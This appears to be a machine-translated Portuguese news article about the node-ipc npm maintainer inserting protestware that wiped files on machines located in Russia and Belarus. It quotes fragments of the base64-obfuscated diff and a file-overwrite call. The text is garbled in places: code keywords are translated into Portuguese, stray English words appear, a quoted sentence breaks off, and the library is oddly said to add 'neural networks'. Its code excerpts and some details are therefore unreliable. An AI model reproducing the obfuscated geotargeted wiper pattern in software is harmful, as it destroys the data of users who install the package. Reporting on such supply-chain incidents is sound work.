[ad_1]
O desenvolvedor de um pacote de código aberto standard foi pego adicionando código malicioso a ele, levando a arquivos apagados em computadores localizados em Rússia e Bielorrússia. A medida foi parte de um protesto que enfureceu muitos usuários e levantou preocupações sobre a segurança de tool livre.
O aplicativo, node.ipc, adiciona recursos de comunicação entre processos remotos e redes neurais a outros Código aberto bibliotecas de código. Como dependência, o node.ipc é baixado automaticamente e incorporado a outras bibliotecas, incluindo aquelas como Vue.js CLI, que possui mais de 1 milhão de downloads semanais.
Um ato deliberado e perigoso
Duas semanas atrás, o autor do node.ipc empurrou uma nova versão da biblioteca que sabotou computadores na Rússia e na Bielorrússia, os países invasores Ucrânia e fornecendo apoio para a invasão, respectivamente. A nova versão adicionou uma função que verificava o endereço IP dos desenvolvedores que usavam o node.ipc em seus próprios projetos. Quando um endereço IP é geolocalizado na Rússia ou na Bielorrússia, a nova versão limpa os arquivos da máquina e os substitui por um emoji de coração.
Para ocultar a malícia, o autor do node.ipc, Brandon Nozaki Miller, codificou as alterações na base 64 para dificultar as coisas para os usuários que queriam inspecioná-las visualmente para verificar se há problemas.
Isto é o que esses desenvolvedores viram:
+ const n2 = Buffer.from(“Li8=”, “base64”);
+ const o2 = Buffer.from(“Li4v”, “base64”);
+ const r = Buffer.from(“Li4vLi4v”, “base64”);
+ const f = Buffer.from(“Lw==”, “base64”);
+ const c = Buffer.from(“Y291bnRyeV9uYW1l”, “base64”);
+ const e = Buffer.from(“cnVzc2lh”, “base64”);
+ const i = Buffer.from(“YmVsYXJ1cw==”, “base64”);
Essas linhas foram então passadas para a função timer, como:
+ h(n2.toString(“utf8”));
Os valores para as strings Base64 foram:
- n2 está definido como: ./
- o2 está definido para: ../
- r está definido para: ../../
- f é definido como: /
Quando passadas para a função de timer, as linhas foram usadas como entradas para limpar arquivos e substituí-los pelo emoji de coração.
+ tente {
+ import_fs3.default.writeFile(i, c.toString(“utf8”), serve as()
+ );
“Neste ponto, um abuso muito claro e um incidente crítico de segurança na cadeia de suprimentos ocorrerá para qualquer sistema no qual este pacote npm seja chamado, se corresponder a uma geolocalização da Rússia ou da Bielorrússia”, escreveu Liran Tal, pesquisador da Snyk, uma empresa de segurança que rastreou as mudanças e publicou suas descobertas na quarta-feira.
Tal descobriu que o autor do node.ipc mantém 40 outras bibliotecas, com algumas ou todas elas também sendo dependências de outros pacotes de código aberto. Referindo-se ao nome do autor do node.ipc, Tal questionou a sabedoria do protesto e suas prováveis consequências no ecossistema de código aberto como um todo.
“Mesmo que o ato deliberado e perigoso do mantenedor RIAEvangelist seja percebido por alguns como um ato legítimo de protesto, como isso reflete na reputação futura do mantenedor e na participação na comunidade de desenvolvedores?” Tal escreveu. novamente para não acompanhar atos futuros em ações tão ou até mais agressivas para quaisquer projetos em que participem?”
Se foi para sempre
A RIAEvangelist também foi criticada no Twitter e em fóruns de código aberto. A nova versão de código malicioso, escrevi uma pessoa que alegava trabalhar para uma organização sediada nos EUA que operava um servidor na Bielorrússia “resultou na execução de seu código e na limpeza de mais de 30.000 mensagens e arquivos detalhando crimes de guerra cometidos na Ucrânia pelo exército russo e funcionários do governo”.
A pessoa, que depois retirou a postagem e a republicou , disse que o objetivo do servidor bielorrusso generation contornar a censura naquele país. O pessoal da organização já estava sobrecarregado desde que a Rússia iniciou sua invasão da Ucrânia em 24 de fevereiro, disse a pessoa, e por razões que não são claras, as mensagens dos soldados da linha de frente e outros dados confidenciais provavelmente desapareceram para sempre.
.
[ad_2]
Fonte da Notícia
